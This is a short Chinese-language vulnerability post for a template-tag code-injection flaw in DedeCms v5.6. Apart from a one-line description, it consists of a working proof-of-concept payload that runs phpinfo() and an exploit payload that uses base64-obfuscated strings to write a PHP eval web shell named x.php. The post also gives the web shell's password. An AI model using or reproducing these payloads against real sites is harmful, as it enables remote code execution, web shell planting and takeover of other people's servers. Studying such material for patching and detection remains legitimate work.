DedeCms v5.6 嵌入惡意代碼執行漏洞

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漏洞信息

在上傳軟件的位置,對本地地址沒有進行有效的驗證,可以被惡意利用。

POC

a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},

EXP

a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
x.php
password:xiao